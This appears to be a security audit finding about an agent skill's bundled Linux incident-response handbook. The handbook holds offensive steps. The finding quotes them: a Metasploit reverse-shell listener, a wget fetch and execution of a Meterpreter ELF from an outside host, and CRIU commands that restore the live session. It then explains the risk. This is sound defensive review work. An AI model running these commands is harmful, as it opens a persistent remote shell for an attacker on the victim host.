<![CDATA[T03
Note
- Location
<![CDATA[NOPTrace-Linux-应急响应手册-整理版.md]]>:5224- Finding
<![CDATA[Linux Meterpreter Payload Generation, Retrieval, Execution, and Session Restoration]]>
- Content
View full analysis
shell.elf msfconsole -q > use exploit/multi/handler > set payload linux/x64/meterpreter_reverse_tcp > set lhost 192.168.31.146 > set lport 4444 > set exitonsession false > exploit -j wget http://192.168.31.146/shell.elf chmod +x shell.elf ./shell.elf & sudo criu dump -vvvv -o dump.log -t 1267 \ --shell-job --tcp-established sudo criu restore -vvvv --shell-job --tcp-established ``` ### Technical Analysis The bundled handbook provides an end-to-end procedure for generating a Linux Meterpreter reverse-shell executable, configuring a listener, retrieving the executable over HTTP, granting execute permission, and running it on a victim host. The procedure then uses CRIU with `--tcp-established` to checkpoint and restore the network-connected malicious process. This can revive the reverse-shell session after the original process has been suspended or terminated. These instructions are not required for the Skill's declared incident-response functions. Defensive incident response may require identifying, hashing, quarantining, or safely analyzing such artifacts, but it does not require creating and executing a live Meterpreter payload on a victim system. The content is stored in documentation rather than automatically invoked Python code. Nevertheless, it is directly actionable operational guidance that can lead an agent or user to execute malware. ### Attack Path 1. Generate a Meterpreter ELF payload using `msfvenom`. 2. Start a Metasploit handler on the designated control host. 3. Host the generated executable over HTTP. 4. Download the executable to the target host with `wget`. 5. Grant execution permission using `chmod ...[truncated 752 chars]- Remediation
View remediation